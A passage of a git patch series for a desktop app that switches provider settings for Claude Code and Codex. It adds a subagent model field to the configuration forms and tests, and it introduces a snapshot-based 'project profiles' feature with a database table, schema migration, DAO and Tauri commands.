"ANTHROPIC_BASE_URL": "http://127.0.0.1:15721", "ANTHROPIC_API_KEY": PROXY_TOKEN_PLACEHOLDER, "ANTHROPIC_MODEL": "stale-model", - "ANTHROPIC_DEFAULT_SONNET_MODEL_NAME": "Stale Sonnet" + "ANTHROPIC_DEFAULT_SONNET_MODEL_NAME": "Stale Sonnet", + "CLAUDE_CODE_SUBAGENT_MODEL": "stale-subagent" }, "permissions": { "allow": ["Bash"] } })) @@ -4674,6 +4726,13 @@ model = "gpt-5.1-codex" Some("deepseek-v4-ultra"), "implicit display names should strip the local 1M marker" ); + assert_eq!( + live_env + .get("CLAUDE_CODE_SUBAGENT_MODEL") + .and_then(|v| v.as_str()), + Some("deepseek-v4-pro[1M]"), + "subagent model should follow the target provider during hot switch" + ); let backup = db .get_live_backup("claude") diff --git a/src/components/providers/forms/ClaudeFormFields.tsx b/src/components/providers/forms/ClaudeFormFields.tsx index 736593af5..7c341d3cc 100644 --- a/src/components/providers/forms/ClaudeFormFields.tsx +++ b/src/components/providers/forms/ClaudeFormFields.tsx @@ -126,6 +126,7 @@ interface ClaudeFormFieldsProps { defaultOpusModelName: string; defaultFableModel: string; defaultFableModelName: string; + subagentModel: string; onModelChange: (field: ClaudeModelEnvField, value: string) => void; // Speed Test Endpoints @@ -196,6 +197,7 @@ export function ClaudeFormFields({ defaultOpusModelName, defaultFableModel, defaultFableModelName, + subagentModel, onModelChange, speedTestEndpoints, apiFormat, @@ -221,6 +223,7 @@ export function ClaudeFormFields({ defaultSonnetModel || defaultOpusModel || defaultFableModel || + subagentModel || apiFormat !== "anthropic" || apiKeyField !== "ANTHROPIC_AUTH_TOKEN" || customUserAgent || @@ -513,12 +516,12 @@ export function ClaudeFormFields({ }; type ModelRoleRow = { - role: "sonnet" | "opus" | "fable" | "haiku"; + role: "sonnet" | "opus" | "fable" | "haiku" | "subagent"; label: string; model: string; - displayName: string; + displayName?: string; modelField: ClaudeModelEnvField; - displayNameField: ClaudeModelEnvField; + displayNameField?: ClaudeModelEnvField; inputId: string; supportsOneM: boolean; }; @@ -564,6 +567,16 @@ export function ClaudeFormFields({ inputId: "claudeDefaultHaikuModel", supportsOneM: false, }, + { + role: "subagent", + label: t("providerForm.modelRoleSubagent", { + defaultValue: "Subagent", + }), + model: subagentModel, + modelField: "CLAUDE_CODE_SUBAGENT_MODEL", + inputId: "claudeCodeSubagentModel", + supportsOneM: true, + }, ]; const handleRoleModelChange = (row: ModelRoleRow, value: string) => { @@ -572,10 +585,10 @@ export function ClaudeFormFields({ ? value : stripClaudeOneMMarker(value); const nextModelBase = stripClaudeOneMMarker(normalizedValue).trim(); - const displayName = row.displayName.trim(); + const displayName = row.displayName?.trim() ?? ""; const shouldSyncDisplayName = !displayName || displayName === oldModelBase; onModelChange(row.modelField, normalizedValue); - if (shouldSyncDisplayName) { + if (row.displayNameField && shouldSyncDisplayName) { onModelChange(row.displayNameField, nextModelBase); } }; @@ -815,17 +828,20 @@ export function ClaudeFormFields({ defaultSonnetModel || defaultOpusModel || defaultFableModel || - defaultHaikuModel; + defaultHaikuModel || + subagentModel; if (value) { for (const row of modelRoleRows) { const roleValue = row.supportsOneM ? value : stripClaudeOneMMarker(value); onModelChange(row.modelField, roleValue); - onModelChange( - row.displayNameField, - stripClaudeOneMMarker(roleValue), - ); + if (row.displayNameField) { + onModelChange( + row.displayNameField, + stripClaudeOneMMarker(roleValue), + ); + } } toast.success( t("providerForm.quickSetSuccess", { @@ -839,7 +855,8 @@ export function ClaudeFormFields({ !defaultHaikuModel && !defaultSonnetModel && !defaultOpusModel && - !defaultFableModel + !defaultFableModel && + !subagentModel } className="h-7 gap-1" > @@ -907,19 +924,30 @@ export function ClaudeFormFields({
{row.label}
- - onModelChange(row.displayNameField, event.target.value) - } - placeholder={ - modelBase || - t("providerForm.modelDisplayNamePlaceholder", { - defaultValue: "例如 DeepSeek V4 Pro", - }) - } - autoComplete="off" - /> + {row.displayNameField ? ( + + onModelChange( + row.displayNameField!, + event.target.value, + ) + } + placeholder={ + modelBase || + t("providerForm.modelDisplayNamePlaceholder", { + defaultValue: "例如 DeepSeek V4 Pro", + }) + } + autoComplete="off" + /> + ) : ( +
+ {t("providerForm.modelNoDisplayName", { + defaultValue: "不显示在 /model 菜单", + })} +
+ )} {renderModelInput( row.inputId, modelBase, diff --git a/src/components/providers/forms/ProviderForm.tsx b/src/components/providers/forms/ProviderForm.tsx index e9420724c..190ca58cd 100644 --- a/src/components/providers/forms/ProviderForm.tsx +++ b/src/components/providers/forms/ProviderForm.tsx @@ -489,6 +489,7 @@ function ProviderFormFull({ defaultOpusModelName, defaultFableModel, defaultFableModelName, + subagentModel, handleModelChange, } = useModelState({ settingsConfig: form.getValues("settingsConfig"), @@ -2099,6 +2100,7 @@ function ProviderFormFull({ defaultOpusModelName={defaultOpusModelName} defaultFableModel={defaultFableModel} defaultFableModelName={defaultFableModelName} + subagentModel={subagentModel} onModelChange={handleModelChange} speedTestEndpoints={speedTestEndpoints} apiFormat={localApiFormat} diff --git a/src/components/providers/forms/hooks/useModelState.ts b/src/components/providers/forms/hooks/useModelState.ts index 302a4c8da..2454b2425 100644 --- a/src/components/providers/forms/hooks/useModelState.ts +++ b/src/components/providers/forms/hooks/useModelState.ts @@ -14,7 +14,8 @@ export type ClaudeModelEnvField = | "ANTHROPIC_DEFAULT_OPUS_MODEL" | "ANTHROPIC_DEFAULT_OPUS_MODEL_NAME" | "ANTHROPIC_DEFAULT_FABLE_MODEL" - | "ANTHROPIC_DEFAULT_FABLE_MODEL_NAME"; + | "ANTHROPIC_DEFAULT_FABLE_MODEL_NAME" + | "CLAUDE_CODE_SUBAGENT_MODEL"; export const CLAUDE_ONE_M_MARKER = "[1M]"; @@ -81,6 +82,10 @@ function parseModelsFromConfig(settingsConfig: string) { typeof env.ANTHROPIC_DEFAULT_FABLE_MODEL_NAME === "string" ? env.ANTHROPIC_DEFAULT_FABLE_MODEL_NAME : stripClaudeOneMMarker(fable); + const subagent = + typeof env.CLAUDE_CODE_SUBAGENT_MODEL === "string" + ? env.CLAUDE_CODE_SUBAGENT_MODEL + : ""; return { model, @@ -92,6 +97,7 @@ function parseModelsFromConfig(settingsConfig: string) { opusName, fable, fableName, + subagent, }; } catch { return { @@ -104,6 +110,7 @@ function parseModelsFromConfig(settingsConfig: string) { opusName: "", fable: "", fableName: "", + subagent: "", }; } } @@ -134,6 +141,7 @@ export function useModelState({ const [defaultFableModelName, setDefaultFableModelName] = useState( initial.fableName, ); + const [subagentModel, setSubagentModel] = useState(initial.subagent); const isUserEditingRef = useRef(false); const lastConfigRef = useRef(settingsConfig); @@ -164,6 +172,7 @@ export function useModelState({ setDefaultOpusModelName(parsed.opusName); setDefaultFableModel(parsed.fable); setDefaultFableModelName(parsed.fableName); + setSubagentModel(parsed.subagent); }, [settingsConfig]); const handleModelChange = useCallback( @@ -186,6 +195,7 @@ export function useModelState({ setDefaultFableModel(value); if (field === "ANTHROPIC_DEFAULT_FABLE_MODEL_NAME") setDefaultFableModelName(value); + if (field === "CLAUDE_CODE_SUBAGENT_MODEL") setSubagentModel(value); try { const currentConfig = latestConfigRef.current @@ -233,6 +243,8 @@ export function useModelState({ setDefaultFableModel, defaultFableModelName, setDefaultFableModelName, + subagentModel, + setSubagentModel, handleModelChange, }; } diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index debf8bb5e..a020f5e1b 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -1124,8 +1124,10 @@ "modelRoleOpus": "Opus", "modelRoleFable": "Fable", "modelRoleHaiku": "Haiku", + "modelRoleSubagent": "Subagent", "modelDisplayNameLabel": "Display name", "modelDisplayNamePlaceholder": "e.g. DeepSeek V4 Pro", + "modelNoDisplayName": "Not shown in /model", "requestModelLabel": "Requested model", "modelOneMHeader": "Declare 1M", "modelOneMLabel": "1M", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index 124005185..f3d0f6a1d 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -1124,8 +1124,10 @@ "modelRoleOpus": "Opus", "modelRoleFable": "Fable", "modelRoleHaiku": "Haiku", + "modelRoleSubagent": "Subagent", "modelDisplayNameLabel": "表示名", "modelDisplayNamePlaceholder": "例: DeepSeek V4 Pro", + "modelNoDisplayName": "/model には表示されません", "requestModelLabel": "リクエストモデル", "modelOneMHeader": "1M 対応を宣言", "modelOneMLabel": "1M", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index 0e6650b92..db353195f 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -1096,8 +1096,10 @@ "modelRoleOpus": "Opus", "modelRoleFable": "Fable", "modelRoleHaiku": "Haiku", + "modelRoleSubagent": "Subagent", "modelDisplayNameLabel": "顯示名稱", "modelDisplayNamePlaceholder": "例如 DeepSeek V4 Pro", + "modelNoDisplayName": "不顯示於 /model 選單", "requestModelLabel": "實際請求模型", "modelOneMHeader": "聲明支援 1M", "modelOneMLabel": "1M", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index 9c310a23b..81fabc019 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -1124,8 +1124,10 @@ "modelRoleOpus": "Opus", "modelRoleFable": "Fable", "modelRoleHaiku": "Haiku", + "modelRoleSubagent": "Subagent", "modelDisplayNameLabel": "显示名称", "modelDisplayNamePlaceholder": "例如 DeepSeek V4 Pro", + "modelNoDisplayName": "不显示在 /model 菜单", "requestModelLabel": "实际请求模型", "modelOneMHeader": "声明支持 1M", "modelOneMLabel": "1M", diff --git a/tests/components/ClaudeFormFields.test.tsx b/tests/components/ClaudeFormFields.test.tsx index 8abb6f7e9..e6a9c8d5a 100644 --- a/tests/components/ClaudeFormFields.test.tsx +++ b/tests/components/ClaudeFormFields.test.tsx @@ -85,6 +85,7 @@ const renderCopilotForm = (overrides: Partial = {}) => { defaultOpusModelName: "", defaultFableModel: "", defaultFableModelName: "", + subagentModel: "", onModelChange: vi.fn(), speedTestEndpoints: [], apiFormat: "anthropic", @@ -173,4 +174,25 @@ describe("ClaudeFormFields", () => { ); }); }); + + it("一键设置会同时写入 Subagent 模型", () => { + const onModelChange = vi.fn(); + renderCopilotForm({ + claudeModel: "shared-model[1M]", + defaultSonnetModel: "", + defaultSonnetModelName: "", + onModelChange, + }); + + fireEvent.click( + screen.getByRole("button", { + name: "一键设置", + }), + ); + + expect(onModelChange).toHaveBeenCalledWith( + "CLAUDE_CODE_SUBAGENT_MODEL", + "shared-model[1M]", + ); + }); }); diff --git a/tests/hooks/useModelState.test.tsx b/tests/hooks/useModelState.test.tsx index c3cd0b504..0fafea433 100644 --- a/tests/hooks/useModelState.test.tsx +++ b/tests/hooks/useModelState.test.tsx @@ -17,6 +17,7 @@ describe("useModelState", () => { ANTHROPIC_DEFAULT_SONNET_MODEL_NAME: "DeepSeek V4 Pro", ANTHROPIC_DEFAULT_OPUS_MODEL: "kimi-k2", ANTHROPIC_DEFAULT_OPUS_MODEL_NAME: "Kimi K2", + CLAUDE_CODE_SUBAGENT_MODEL: "subagent-model[1M]", }, }); @@ -34,6 +35,7 @@ describe("useModelState", () => { expect(result.current.defaultOpusModelName).toBe("Kimi K2"); expect(result.current.defaultHaikuModel).toBe("legacy-small"); expect(result.current.defaultHaikuModelName).toBe("legacy-small"); + expect(result.current.subagentModel).toBe("subagent-model[1M]"); }); it("writes and clears role display-name env fields without changing model mapping", () => { @@ -94,6 +96,42 @@ describe("useModelState", () => { expect(result.current.defaultSonnetModelName).toBe("deepseek-v4-pro"); }); + it("writes and clears the Claude Code subagent model env field", () => { + let latestConfig = JSON.stringify({ + env: { + ANTHROPIC_MODEL: "fallback-model", + }, + }); + const onConfigChange = vi.fn((config: string) => { + latestConfig = config; + }); + + const { result } = renderHook(() => + useModelState({ + settingsConfig: latestConfig, + onConfigChange, + }), + ); + + act(() => { + result.current.handleModelChange( + "CLAUDE_CODE_SUBAGENT_MODEL", + "subagent-model[1M]", + ); + }); + + let env = JSON.parse(latestConfig).env; + expect(env.ANTHROPIC_MODEL).toBe("fallback-model"); + expect(env.CLAUDE_CODE_SUBAGENT_MODEL).toBe("subagent-model[1M]"); + + act(() => { + result.current.handleModelChange("CLAUDE_CODE_SUBAGENT_MODEL", ""); + }); + + env = JSON.parse(latestConfig).env; + expect(env.CLAUDE_CODE_SUBAGENT_MODEL).toBeUndefined(); + }); + it("normalizes Claude Code 1M markers for UI toggles", () => { expect(hasClaudeOneMMarker("deepseek-v4-pro[1m]")).toBe(true); expect(hasClaudeOneMMarker("deepseek-v4-pro [1M] ")).toBe(true); From 8f018a2d45a00c439ea9c8d37b3aec6eab0c0601 Mon Sep 17 00:00:00 2001 From: Jason Date: Sat, 4 Jul 2026 16:03:19 +0800 Subject: [PATCH 07/73] feat: add project profiles for snapshot-based config switching Add a profile feature that captures the current provider, MCP, skills and prompt state for Claude Code and Codex as a named snapshot, and re-applies it in one click from the header switcher or the tray Projects submenu. - New profiles table (schema v12) with current marker in settings - ProfileService orchestrates the four existing switch primitives (provider first, then MCP diff, skills diff, prompt enable) - Best-effort apply: dangling references become warnings, no rollback - Header combobox switcher + snapshot-style manage dialog - Tray Projects submenu shared with the UI apply/event pipeline - i18n for zh/en/ja/zh-TW under the new profiles domain - Integration tests covering roundtrip, dangling refs and clear --- src-tauri/src/commands/mod.rs | 2 + src-tauri/src/commands/profile.rs | 134 ++++++ src-tauri/src/database/dao/mod.rs | 4 +- src-tauri/src/database/dao/profiles.rs | 196 +++++++++ src-tauri/src/database/mod.rs | 3 +- src-tauri/src/database/schema.rs | 37 ++ src-tauri/src/lib.rs | 11 +- src-tauri/src/services/mod.rs | 1 + src-tauri/src/services/profile.rs | 382 ++++++++++++++++++ src-tauri/src/tray.rs | 99 +++++ src-tauri/tests/profile_roundtrip.rs | 287 +++++++++++++ src/App.tsx | 9 + .../profiles/ProfileManageDialog.tsx | 211 ++++++++++ src/components/profiles/ProfileSwitcher.tsx | 236 +++++++++++ src/components/prompts/PromptPanel.tsx | 4 + src/i18n/locales/en.json | 28 ++ src/i18n/locales/ja.json | 28 ++ src/i18n/locales/zh-TW.json | 28 ++ src/i18n/locales/zh.json | 28 ++ src/lib/api/index.ts | 2 + src/lib/api/profiles.ts | 83 ++++ src/lib/query/profiles.ts | 145 +++++++ 22 files changed, 1955 insertions(+), 3 deletions(-) create mode 100644 src-tauri/src/commands/profile.rs create mode 100644 src-tauri/src/database/dao/profiles.rs create mode 100644 src-tauri/src/services/profile.rs create mode 100644 src-tauri/tests/profile_roundtrip.rs create mode 100644 src/components/profiles/ProfileManageDialog.tsx create mode 100644 src/components/profiles/ProfileSwitcher.tsx create mode 100644 src/lib/api/profiles.ts create mode 100644 src/lib/query/profiles.ts diff --git a/src-tauri/src/commands/mod.rs b/src-tauri/src/commands/mod.rs index c41d7b44b..29a26710e 100644 --- a/src-tauri/src/commands/mod.rs +++ b/src-tauri/src/commands/mod.rs @@ -18,6 +18,7 @@ mod model_fetch; mod omo; mod openclaw; mod plugin; +mod profile; mod prompt; mod provider; mod proxy; @@ -52,6 +53,7 @@ pub use model_fetch::*; pub use omo::*; pub use openclaw::*; pub use plugin::*; +pub use profile::*; pub use prompt::*; pub use provider::*; pub use proxy::*; diff --git a/src-tauri/src/commands/profile.rs b/src-tauri/src/commands/profile.rs new file mode 100644 index 000000000..f75eec55c --- /dev/null +++ b/src-tauri/src/commands/profile.rs @@ -0,0 +1,134 @@ +//! 项目 Profile 管理命令 + +use serde::Serialize; +use tauri::{Emitter, State}; + +use crate::database::Profile; +use crate::services::profile::{ProfilePayload, ProfileService, PROFILE_APPS}; +use crate::store::AppState; + +#[derive(Debug, Serialize)] +#[serde(rename_all = "camelCase")] +pub struct ProfileDto { + pub id: String, + pub name: String, + pub payload: ProfilePayload, + #[serde(skip_serializing_if = "Option::is_none")] + pub created_at: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub updated_at: Option, +} + +impl From for ProfileDto { + fn from(profile: Profile) -> Self { + // 单条 payload 损坏不应拖垮整个列表:降级为默认值并记日志 + let payload = serde_json::from_str(&profile.payload).unwrap_or_else(|e| { + log::warn!( + "解析 profile '{}' payload 失败,使用默认值: {e}", + profile.id + ); + ProfilePayload::default() + }); + Self { + id: profile.id, + name: profile.name, + payload, + created_at: profile.created_at, + updated_at: profile.updated_at, + } + } +} + +#[derive(Debug, Serialize)] +#[serde(rename_all = "camelCase")] +pub struct ProfilesResponse { + pub profiles: Vec, + pub current_id: Option, +} + +/// Profile 应用完成后的统一收尾:发事件 + 重建托盘菜单 +/// +/// UI 与托盘两个入口必须共用此函数,保证事件 payload 形状一致 +/// (前端 App.tsx 的 provider-switched 监听依赖该形状)。 +pub fn emit_profile_apply_events(app: &tauri::AppHandle, state: &AppState, profile_id: &str) { + for app_type in PROFILE_APPS.iter() { + let app_str = app_type.as_str(); + let (proxy_enabled, auto_failover_enabled) = state.db.get_proxy_flags_sync(app_str); + let provider_id = crate::settings::get_effective_current_provider(&state.db, app_type) + .ok() + .flatten() + .unwrap_or_default(); + let event_data = serde_json::json!({ + "appType": app_str, + "proxyEnabled": proxy_enabled, + "autoFailoverEnabled": auto_failover_enabled, + "providerId": provider_id, + }); + if let Err(e) = app.emit("provider-switched", event_data) { + log::error!("发射 provider-switched 事件失败: {e}"); + } + } + if let Err(e) = app.emit( + "profile-applied", + serde_json::json!({ "profileId": profile_id }), + ) { + log::error!("发射 profile-applied 事件失败: {e}"); + } + crate::tray::refresh_tray_menu(app); +} + +#[tauri::command] +pub fn list_profiles(state: State<'_, AppState>) -> Result { + let (profiles, current_id) = ProfileService::list(&state).map_err(|e| e.to_string())?; + Ok(ProfilesResponse { + profiles: profiles.into_iter().map(ProfileDto::from).collect(), + current_id, + }) +} + +#[tauri::command] +pub fn create_profile(state: State<'_, AppState>, name: String) -> Result { + ProfileService::create(&state, &name) + .map(ProfileDto::from) + .map_err(|e| e.to_string()) +} + +#[tauri::command] +pub fn update_profile( + state: State<'_, AppState>, + id: String, + name: Option, + resnapshot: Option, +) -> Result { + ProfileService::update(&state, &id, name, resnapshot.unwrap_or(false)) + .map(ProfileDto::from) + .map_err(|e| e.to_string()) +} + +#[tauri::command] +pub fn delete_profile(state: State<'_, AppState>, id: String) -> Result<(), String> { + ProfileService::delete(&state, &id).map_err(|e| e.to_string()) +} + +#[tauri::command] +pub fn clear_current_profile(state: State<'_, AppState>) -> Result<(), String> { + state + .db + .set_current_profile_id(None) + .map_err(|e| e.to_string()) +} + +/// 应用项目快照。 +/// +/// 注意:必须保持同步命令(跑在 Tauri 线程池)——`ProviderService::switch` +/// 内部使用 block_on 获取切换锁,放进 async 命令会在运行时线程上 panic。 +#[tauri::command] +pub fn apply_profile( + app: tauri::AppHandle, + state: State<'_, AppState>, + id: String, +) -> Result, String> { + let warnings = ProfileService::apply(&state, &id).map_err(|e| e.to_string())?; + emit_profile_apply_events(&app, &state, &id); + Ok(warnings) +} diff --git a/src-tauri/src/database/dao/mod.rs b/src-tauri/src/database/dao/mod.rs index 93ca2f578..bb78f3075 100644 --- a/src-tauri/src/database/dao/mod.rs +++ b/src-tauri/src/database/dao/mod.rs @@ -4,6 +4,7 @@ pub mod failover; pub mod mcp; +pub mod profiles; pub mod prompts; pub mod providers; pub mod providers_seed; @@ -15,5 +16,6 @@ pub mod universal_providers; pub mod usage_rollup; // 所有 DAO 方法都通过 Database impl 提供,无需单独导出 -// 导出 FailoverQueueItem 供外部使用 +// 导出 FailoverQueueItem / Profile 供外部使用 pub use failover::FailoverQueueItem; +pub use profiles::Profile; diff --git a/src-tauri/src/database/dao/profiles.rs b/src-tauri/src/database/dao/profiles.rs new file mode 100644 index 000000000..6a9891b54 --- /dev/null +++ b/src-tauri/src/database/dao/profiles.rs @@ -0,0 +1,196 @@ +//! 项目 Profile 数据访问对象 +//! +//! profiles 表存放按 app 快照的配置方案(供应商/MCP/Skills/Prompt), +//! payload 为原始 JSON 文本,解析在 service 层进行。 +//! current_profile_id 存放于 settings 表(key-value)。 + +use crate::database::{lock_conn, Database}; +use crate::error::AppError; +use rusqlite::params; + +const CURRENT_PROFILE_ID_KEY: &str = "current_profile_id"; + +/// 项目 Profile 记录 +#[derive(Debug, Clone)] +pub struct Profile { + pub id: String, + pub name: String, + /// 原始 JSON 快照文本(ProfilePayload),解析在 service 层 + pub payload: String, + pub sort_order: Option, + pub created_at: Option, + pub updated_at: Option, +} + +impl Database { + /// 获取所有项目(按 sort_order 优先、created_at 兜底排序) + pub fn get_all_profiles(&self) -> Result, AppError> { + let conn = lock_conn!(self.conn); + let mut stmt = conn + .prepare( + "SELECT id, name, payload, sort_order, created_at, updated_at + FROM profiles + ORDER BY sort_order IS NULL, sort_order, created_at, id", + ) + .map_err(|e| AppError::Database(e.to_string()))?; + + let rows = stmt + .query_map([], |row| { + Ok(Profile { + id: row.get(0)?, + name: row.get(1)?, + payload: row.get(2)?, + sort_order: row.get(3)?, + created_at: row.get(4)?, + updated_at: row.get(5)?, + }) + }) + .map_err(|e| AppError::Database(e.to_string()))?; + + let mut profiles = Vec::new(); + for row in rows { + profiles.push(row.map_err(|e| AppError::Database(e.to_string()))?); + } + Ok(profiles) + } + + /// 获取单个项目 + pub fn get_profile(&self, id: &str) -> Result, AppError> { + let conn = lock_conn!(self.conn); + let mut stmt = conn + .prepare( + "SELECT id, name, payload, sort_order, created_at, updated_at + FROM profiles WHERE id = ?1", + ) + .map_err(|e| AppError::Database(e.to_string()))?; + + match stmt.query_row(params![id], |row| { + Ok(Profile { + id: row.get(0)?, + name: row.get(1)?, + payload: row.get(2)?, + sort_order: row.get(3)?, + created_at: row.get(4)?, + updated_at: row.get(5)?, + }) + }) { + Ok(profile) => Ok(Some(profile)), + Err(rusqlite::Error::QueryReturnedNoRows) => Ok(None), + Err(e) => Err(AppError::Database(e.to_string())), + } + } + + /// 保存项目(插入或整行替换) + pub fn save_profile(&self, profile: &Profile) -> Result<(), AppError> { + let conn = lock_conn!(self.conn); + conn.execute( + "INSERT OR REPLACE INTO profiles + (id, name, payload, sort_order, created_at, updated_at) + VALUES (?1, ?2, ?3, ?4, ?5, ?6)", + params![ + profile.id, + profile.name, + profile.payload, + profile.sort_order, + profile.created_at, + profile.updated_at, + ], + ) + .map_err(|e| AppError::Database(e.to_string()))?; + Ok(()) + } + + /// 删除项目,返回是否实际删除了记录 + pub fn delete_profile(&self, id: &str) -> Result { + let conn = lock_conn!(self.conn); + let affected = conn + .execute("DELETE FROM profiles WHERE id = ?1", params![id]) + .map_err(|e| AppError::Database(e.to_string()))?; + Ok(affected > 0) + } + + /// 读取当前激活的项目 id(未使用项目时为 None) + pub fn get_current_profile_id(&self) -> Result, AppError> { + self.get_setting(CURRENT_PROFILE_ID_KEY) + } + + /// 设置当前激活的项目 id;None 表示"不使用项目"(删除 key) + pub fn set_current_profile_id(&self, id: Option<&str>) -> Result<(), AppError> { + match id { + Some(id) => self.set_setting(CURRENT_PROFILE_ID_KEY, id), + None => { + let conn = lock_conn!(self.conn); + conn.execute( + "DELETE FROM settings WHERE key = ?1", + params![CURRENT_PROFILE_ID_KEY], + ) + .map_err(|e| AppError::Database(e.to_string()))?; + Ok(()) + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn sample(id: &str, name: &str, sort_order: Option) -> Profile { + Profile { + id: id.to_string(), + name: name.to_string(), + payload: r#"{"providers":{"claude":null,"codex":null}}"#.to_string(), + sort_order, + created_at: Some(1_000), + updated_at: Some(1_000), + } + } + + #[test] + fn test_profile_crud_roundtrip() -> Result<(), AppError> { + let db = Database::memory()?; + + db.save_profile(&sample("a", "Dev", Some(2)))?; + db.save_profile(&sample("b", "Draw", Some(1)))?; + db.save_profile(&sample("c", "Misc", None))?; + + // sort_order 优先,NULL 排最后 + let all = db.get_all_profiles()?; + assert_eq!( + all.iter().map(|p| p.id.as_str()).collect::>(), + vec!["b", "a", "c"] + ); + + let got = db.get_profile("a")?.expect("profile a exists"); + assert_eq!(got.name, "Dev"); + assert!(got.payload.contains("providers")); + + // 整行替换更新 + let mut updated = sample("a", "Dev Renamed", Some(2)); + updated.updated_at = Some(2_000); + db.save_profile(&updated)?; + let got = db.get_profile("a")?.expect("profile a exists"); + assert_eq!(got.name, "Dev Renamed"); + assert_eq!(got.updated_at, Some(2_000)); + + assert!(db.delete_profile("a")?); + assert!(!db.delete_profile("a")?); + assert!(db.get_profile("a")?.is_none()); + Ok(()) + } + + #[test] + fn test_current_profile_id_set_and_clear() -> Result<(), AppError> { + let db = Database::memory()?; + + assert_eq!(db.get_current_profile_id()?, None); + db.set_current_profile_id(Some("a"))?; + assert_eq!(db.get_current_profile_id()?, Some("a".to_string())); + db.set_current_profile_id(None)?; + assert_eq!(db.get_current_profile_id()?, None); + // 重复清除应幂等 + db.set_current_profile_id(None)?; + assert_eq!(db.get_current_profile_id()?, None); + Ok(()) + } +} diff --git a/src-tauri/src/database/mod.rs b/src-tauri/src/database/mod.rs index a92713210..e2c98fa50 100644 --- a/src-tauri/src/database/mod.rs +++ b/src-tauri/src/database/mod.rs @@ -38,6 +38,7 @@ pub(crate) use dao::proxy::{ PRICING_SOURCE_RESPONSE, }; pub use dao::FailoverQueueItem; +pub use dao::Profile; use crate::config::get_app_config_dir; use crate::error::AppError; @@ -49,7 +50,7 @@ use std::sync::Mutex; /// 当前 Schema 版本号 /// 每次修改表结构时递增,并在 schema.rs 中添加相应的迁移逻辑 -pub(crate) const SCHEMA_VERSION: i32 = 11; +pub(crate) const SCHEMA_VERSION: i32 = 12; /// 安全地序列化 JSON,避免 unwrap panic pub(crate) fn to_json_string(value: &T) -> Result { diff --git a/src-tauri/src/database/schema.rs b/src-tauri/src/database/schema.rs index f09547063..9ab8454bd 100644 --- a/src-tauri/src/database/schema.rs +++ b/src-tauri/src/database/schema.rs @@ -295,6 +295,20 @@ impl Database { ) .map_err(|e| AppError::Database(e.to_string()))?; + // 19. Profiles 表(项目配置方案:按 app 快照供应商/MCP/Skills/Prompt) + conn.execute( + "CREATE TABLE IF NOT EXISTS profiles ( + id TEXT PRIMARY KEY, + name TEXT NOT NULL, + payload TEXT NOT NULL, + sort_order INTEGER, + created_at INTEGER, + updated_at INTEGER + )", + [], + ) + .map_err(|e| AppError::Database(e.to_string()))?; + // 尝试添加 live_takeover_active 列到 proxy_config 表 let _ = conn.execute( "ALTER TABLE proxy_config ADD COLUMN live_takeover_active INTEGER NOT NULL DEFAULT 0", @@ -444,6 +458,11 @@ impl Database { Self::migrate_v10_to_v11(conn)?; Self::set_user_version(conn, 11)?; } + 11 => { + log::info!("迁移数据库从 v11 到 v12(添加项目 Profiles 表)"); + Self::migrate_v11_to_v12(conn)?; + Self::set_user_version(conn, 12)?; + } _ => { return Err(AppError::Database(format!( "未知的数据库版本 {version},无法迁移到 {SCHEMA_VERSION}" @@ -1270,6 +1289,24 @@ impl Database { Ok(()) } + /// v11 -> v12 迁移:添加项目 Profiles 表 + /// 与 create_tables_on_conn 中的建表语句保持一致(IF NOT EXISTS 保证幂等) + fn migrate_v11_to_v12(conn: &Connection) -> Result<(), AppError> { + conn.execute( + "CREATE TABLE IF NOT EXISTS profiles ( + id TEXT PRIMARY KEY, + name TEXT NOT NULL, + payload TEXT NOT NULL, + sort_order INTEGER, + created_at INTEGER, + updated_at INTEGER + )", + [], + ) + .map_err(|e| AppError::Database(format!("v11 -> v12 创建 profiles 表失败: {e}")))?; + Ok(()) + } + /// 插入默认模型定价数据 /// 格式: (model_id, display_name, input, output, cache_read, cache_creation) /// 注意: model_id 使用短横线格式(如 claude-haiku-4-5),与 API 返回的模型名称标准化后一致 diff --git a/src-tauri/src/lib.rs b/src-tauri/src/lib.rs index d5432f077..962606fb0 100644 --- a/src-tauri/src/lib.rs +++ b/src-tauri/src/lib.rs @@ -42,7 +42,7 @@ pub use codex_config::{get_codex_auth_path, get_codex_config_path, write_codex_l pub use commands::open_provider_terminal; pub use commands::*; pub use config::{get_claude_mcp_path, get_claude_settings_path, read_json_file}; -pub use database::Database; +pub use database::{Database, Profile}; pub use deeplink::{import_provider_from_deeplink, parse_deeplink_url, DeepLinkImportRequest}; pub use error::AppError; pub use mcp::{ @@ -51,8 +51,10 @@ pub use mcp::{ sync_enabled_to_codex, sync_enabled_to_gemini, sync_single_server_to_claude, sync_single_server_to_codex, sync_single_server_to_gemini, }; +pub use prompt::Prompt; pub use provider::{Provider, ProviderMeta}; pub use services::{ + profile::{ProfilePayload, ProfileService}, skill::{migrate_skills_to_ssot, ImportSkillSelection}, ConfigService, EndpointLatency, McpService, PromptService, ProviderService, ProxyService, SkillService, SpeedtestService, @@ -1270,6 +1272,13 @@ pub fn run() { commands::enable_prompt, commands::import_prompt_from_file, commands::get_current_prompt_file_content, + // Profile management (项目配置方案) + commands::list_profiles, + commands::create_profile, + commands::update_profile, + commands::delete_profile, + commands::clear_current_profile, + commands::apply_profile, // model list fetch (OpenAI-compatible /v1/models) commands::fetch_models_for_config, // ours: endpoint speed test + custom endpoint management diff --git a/src-tauri/src/services/mod.rs b/src-tauri/src/services/mod.rs index ae43e079c..838c93b57 100644 --- a/src-tauri/src/services/mod.rs +++ b/src-tauri/src/services/mod.rs @@ -7,6 +7,7 @@ pub mod env_manager; pub mod mcp; pub mod model_fetch; pub mod omo; +pub mod profile; pub mod prompt; pub mod provider; pub mod proxy; diff --git a/src-tauri/src/services/profile.rs b/src-tauri/src/services/profile.rs new file mode 100644 index 000000000..e537d266e --- /dev/null +++ b/src-tauri/src/services/profile.rs @@ -0,0 +1,382 @@ +//! 项目 Profile 编排服务 +//! +//! Profile 